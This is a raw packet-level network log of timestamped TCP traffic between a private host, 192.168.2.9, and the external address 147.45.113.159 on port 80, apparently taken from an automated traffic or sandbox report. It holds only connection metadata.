Dec 20, 2024 17:13:20.649746895 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649775028 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649862051 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649888992 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649914980 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649947882 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649974108 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650068998 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650115967 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650142908 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650168896 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650269985 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650295973 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650322914 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650369883 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650396109 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650422096 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650486946 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650512934 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650538921 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650588989 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650636911 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650662899 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650819063 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650845051 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650887012 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650913954 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650939941 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.650965929 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.651103973 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.651130915 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.662647009 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.662676096 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.662744045 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.662770987 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.662796974 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.662843943 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.662869930 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663039923 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663067102 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663094044 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663156986 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663202047 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663247108 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663289070 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663355112 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663382053 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663408041 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663455009 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663480997 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663507938 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663557053 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663568974 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663580894 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663626909 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663652897 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663678885 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663801908 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663830042 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663856030 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663882971 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663928032 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.663976908 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.664002895 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:29.077931881 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:29.078483105 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:29.078563929 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:29.078643084 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:29.198209047 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:29.321166992 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:29.440983057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:29.441082954 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:29.441479921 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:29.561716080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.269347906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.269413948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.269519091 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.270529032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.270586967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.270623922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.270663023 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.270798922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.270852089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.270886898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.270911932 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.270932913 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.270936966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.271222115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.273123980 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.389555931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.389663935 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.389796019 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.393759012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.393804073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.393858910 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.468029976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.468125105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.468216896 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.472114086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.472290039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.472332001 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.480492115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.480545998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.480619907 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.488882065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.488936901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.488982916 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.497366905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.497525930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.497592926 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.505754948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.505861998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.505928993 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.514106989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.514286995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.514336109 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.522430897 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.522600889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.522669077 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.530831099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.530919075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.530982018 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.539333105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.539454937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.539530039 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.546602964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.546698093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.546823978 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.553837061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.593770981 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.660029888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.660125971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.660197973 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.662415981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.662453890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.662518978 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.667349100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.667403936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.667454004 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.672346115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.672610998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.672668934 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.677227974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.677318096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.677383900 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.682271957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.682315111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.682368040 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.686989069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.687072039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.687144041 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.691785097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.691936970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.691994905 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.696697950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.696784973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.696850061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.701495886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.701687098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.701741934 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.706425905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.706546068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.706615925 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.711215019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.711272001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.711339951 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.716140032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.716166973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.716218948 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.720984936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.721113920 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.721174002 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.725805998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.725853920 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.725912094 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.730602026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.730712891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.730767012 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.852096081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.852163076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.852229118 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.853944063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.854724884 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.854778051 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.854821920 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.858699083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.858752966 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.858818054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.862832069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.862870932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.862890959 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.866595984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.866652012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.866657972 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.870503902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.870563030 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.870626926 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.874372959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.874428034 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.874495029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.878340006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.878365993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.878429890 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.882158995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.882232904 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.882245064 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.886043072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.886112928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.886120081 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.890041113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.890109062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.890122890 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.893784046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.893855095 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.893906116 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.897583008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.897636890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.897665024 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.901395082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.901478052 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.901626110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.905277014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.905325890 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.905374050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.909157991 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.909204006 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.909279108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.913044930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.913094044 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.913127899 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.916902065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.916948080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.917004108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.920785904 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.920805931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.920836926 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.924643993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.924690962 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.924818993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.928499937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.928559065 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.928596020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.932395935 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.932424068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.932451010 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.936266899 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.936320066 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.936345100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.940110922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.940170050 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.940182924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.944056988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.944125891 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.944170952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.948110104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.948185921 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.948272943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.952270031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.952290058 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.952336073 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.955663919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.955734968 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.955756903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.959676981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.959706068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.959734917 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:31.963414907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:31.963476896 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.043942928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.044060946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.044111967 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.045747995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.045784950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.045836926 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.049197912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.050472975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.050529003 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.050565958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.054043055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.054074049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.054119110 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.057374001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.057440042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.057446003 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.060657024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.060725927 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.060781956 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.063873053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.063926935 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.063934088 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.066986084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.067039967 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.067076921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.071280003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.071347952 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.071348906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.074810028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.074861050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.074866056 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.077097893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.077150106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.077152967 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.079426050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.079490900 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.079524994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.082164049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.082209110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.082211971 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.084918022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.084970951 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.085016012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.087785959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.087836981 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.087850094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.090493917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.090548038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.090548992 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.093224049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.093280077 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.093342066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.096020937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.096048117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.096092939 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.098603010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.098654032 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.098701000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.101350069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.101397038 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.101613045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.104114056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.104160070 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.104228973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.107038021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.107074022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.107085943 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.109535933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.109579086 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:32.109642029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.112165928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:32.112209082 CET	49711	80	192.168.2.9	147.45.113.159
